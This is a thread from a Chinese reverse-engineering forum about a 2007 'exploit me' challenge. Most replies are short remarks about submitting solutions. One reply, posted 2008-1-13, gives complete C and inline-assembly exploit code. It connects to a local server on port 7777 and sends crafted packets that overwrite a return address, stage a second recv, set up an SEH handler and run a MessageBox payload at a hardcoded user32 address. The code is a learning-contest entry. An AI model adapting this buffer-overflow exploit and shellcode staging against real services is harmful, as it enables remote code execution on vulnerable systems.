首页
社区
课程
招聘
辞旧迎新exploit me挑战赛[题目]
发表于: 2007-12-29 19:06 128257

辞旧迎新exploit me挑战赛[题目]

2007-12-29 19:06
128257
收藏
免费 0
支持
分享
最新回复 (98)
雪    币: 207
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
76
1,MFC时候添加新类时选择dll导入即可生成一个com接口函数的调用类。
2,由于这个dll注册后,不能直接在工程中添加这个ACTIVEX控件(添加对话框中看不到),可以手工在RC文件定义,然后打开工程,再在对话框上的控件添加一个变量也可以生成接口函数类。
2008-1-1 18:59
0
雪    币: 375
活跃值: (12)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
77
……真是牛人。。。。
那么早就交了…………
2008-1-1 19:07
0
雪    币: 375
活跃值: (12)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
78
提交了。。
反正两个的Exploit都弄上去了
不知道到时候能不能及格。。。
2008-1-1 20:38
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
79
努力学习。。
2008-1-1 20:39
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
80
十分钟不到,轻松搞定,嘎嘎!!
2008-1-1 20:56
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
81
知道的晚点,还是朋友告诉的
2008-1-1 20:57
0
雪    币: 185
活跃值: (416)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
82
看样子很高深的东西 郁闷了 ^_^
2008-1-1 21:00
0
雪    币: 212
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
83
带价的迷我,嘿嘿!~~~~~
2008-1-1 21:10
0
雪    币: 4536
活跃值: (897)
能力值: ( LV16,RANK:480 )
在线值:
发帖
回帖
粉丝
84
时间快要到了,我已经提交了,以前根本就没有分析过activex的漏洞,这个第二题等于没做,因为我知道这是哪个软件的漏洞了,呵呵,简单的描述了一下漏洞造成的原因,shellcode都是从网上的0day捡来的。
2008-1-1 22:13
0
雪    币: 105
活跃值: (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
85
总算弄完了。花了两天多的时间,手工写一个加载器 ,别的什么事都没有做,做得挺累的 ,不管结果会怎样,至少学习了一下
2008-1-1 22:58
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
86
看看,在梦里搞定也说不一定。
2008-1-1 23:52
0
雪    币: 188
活跃值: (32)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
87
我不懂啊 !就不下了 啊 !省得浪费资源!
2008-1-2 15:36
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
88
作为新人,我愿意在一旁加油
2008-1-4 06:51
0
雪    币: 237
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
89
[QUOTE=;]...[/QUOTE]
来晚了
第二题真的不熟的说
2008-1-4 17:14
0
雪    币: 223
活跃值: (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
90
大家这么快!!!
2008-1-4 19:11
0
雪    币: 212
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
91
怎么还不出答案 !??????
2008-1-5 22:49
0
雪    币: 245
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
92
呜呜呜,几天没有来,晚了这么多啊,努力学习
2008-1-6 09:01
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
93
跟高人们学习学习,致敬
2008-1-6 14:19
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
94
学习中,成绩在哪看呀。?
2008-1-7 11:59
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
95
貌似来晚了...
2008-1-7 20:43
0
雪    币: 76
活跃值: (45)
能力值: ( LV11,RANK:180 )
在线值:
发帖
回帖
粉丝
96
#include "stdafx.h"
#include <Windows.h>

void main() {
        //----------------------
        // Initialize Winsock
        WSADATA wsaData;
        char* Addr1,*Addr2,*Addr3;
       
        __asm
        {       
                mov Addr1,offset local_001
                mov Addr2,offset local_002
                mov Addr3,offset local_003
                jmp local_003
local_001:
                xor eax,eax
                mov ah,7
                sub esp,eax
                xor eax,eax
                mov edx,esp
                push eax
                mov ah,5
                push eax
                push edx
                push ebx
                mov eax,0x4080d8ff              
                shr eax,8
                call [eax];    调用recv函数继续接收另外一个数据包
                cmp eax,0xffffffff
                jz short local_004
                mov ecx,esp
                jmp ecx          ;这里也就是跳转到  local_002
local_004:
                xor edx,edx     //如果第二个数据包接收失败则 直接返回
                mov dh,7
                add esp,edx
                xor edx,edx
                mov dl,0xc
                mov eax,0x401258ff     ;这里不能有 0 所以
                shr eax,8
                mov [esp+edx],eax
                ret
local_002:                                                  ;这里是第二个包的开始
                call local_005 //构造一个结构化异常
                pushad                 //这里是结构化异常处理函数
                call local_100
local_100:
                pop ebx
                add ebx, offset local_011
                sub ebx, offset local_100
                mov eax,[esp+0x2c]
                add dword ptr[eax+0xb0],0x1000    //eax 寄存器 加 0x1000   
                mov dword ptr[eax+0xb8],ebx        //修改 eip 寄存器
                popad                            // 这里继续搜索 pe 头
                mov eax,ExceptionContinueExecution
                ret
local_005:
                push fs:[0]                 ;构造结构化异常
                mov fs:[0],esp
                push ebp
                mov ebp,esp
                pushad
                push 0                        ;MB_OK
                call local_98                ; message tital
                _emit('H')
                _emit('e')
                _emit('l')
                _emit('l')
                _emit('o')
                _emit(0)
local_98:
                call local_99                 
                _emit('t')
                _emit('e')
                _emit('s')
                _emit('t')
                _emit(0)
local_99:
                push 0
                mov eax,0x77d5058a   //这里   是针对 xp+sp user32.dll 5.1.2600.3099 版本的 messagebox 的位置   这里偷懒了,直接写一个固定地址
                call eax
                jmp local_78
                mov eax,0x70000000
local_011:
                cmp word ptr[eax],'ZM'
                jz local_012
local_013:
                add eax,0x1000
                jmp local_011
local_012:
                mov ebx,[eax+0x3c]
                cmp dword ptr[eax+ebx],'EP'
                jnz local_013
local_78:
                popad
                mov esp,ebp
                pop ebp
                mov eax,[esp]
                mov fs:[0],eax
                lea esp,[esp+8]
                xor edx,edx
                mov dh,7
                add esp,edx
                xor edx,edx
                mov dl,0xc
                mov eax,0x401258
                mov [esp+edx],eax
                ret
local_003:
        }

       
        int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
        if (iResult != NO_ERROR)
                printf("Error at WSAStartup()\n");

        //----------------------
        // Create a SOCKET for connecting to server
        SOCKET ConnectSocket;
        ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (ConnectSocket == INVALID_SOCKET) {
                printf("Error at socket(): %ld\n", WSAGetLastError());
                WSACleanup();
                return;
        }

        //----------------------
        // The sockaddr_in structure specifies the address family,
        // IP address, and port of the server to be connected to.
        sockaddr_in clientService;
        clientService.sin_family = AF_INET;
        clientService.sin_addr.s_addr = inet_addr( "127.0.0.1" );
        clientService.sin_port = htons( 7777 );

        //----------------------
        // Connect to server.
        if ( connect( ConnectSocket, (SOCKADDR*) &clientService, sizeof(clientService) ) == SOCKET_ERROR) {
                printf( "Failed to connect.\n" );
                WSACleanup();
                return;
        }
        char buf[512];       
        memset (buf,'a',sizeof(buf));
        memcpy(buf,Addr1,Addr2-Addr1);
        *(DWORD*)&buf[200]=0x40129c;
        send(ConnectSocket,buf,sizeof(buf),0);
        memset(buf,'a',sizeof(buf));
        memcpy(buf,Addr2,Addr3-Addr2);
        send(ConnectSocket,buf,sizeof(buf),0);
        printf("Connected to server.\n");
        Sleep(1000);

        WSACleanup();
       
        return;
}
2008-1-13 00:18
0
雪    币: 1946
活跃值: (243)
能力值: (RANK:330 )
在线值:
发帖
回帖
粉丝
97
syser也来凑热闹了
2008-1-13 00:21
0
雪    币: 272
活跃值: (143)
能力值: ( LV15,RANK:930 )
在线值:
发帖
回帖
粉丝
98
syser!
2008-1-13 00:25
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
99
瞧瞧去~  支持
2008-1-13 16:20
0
游客
登录 | 注册 方可回帖
返回
//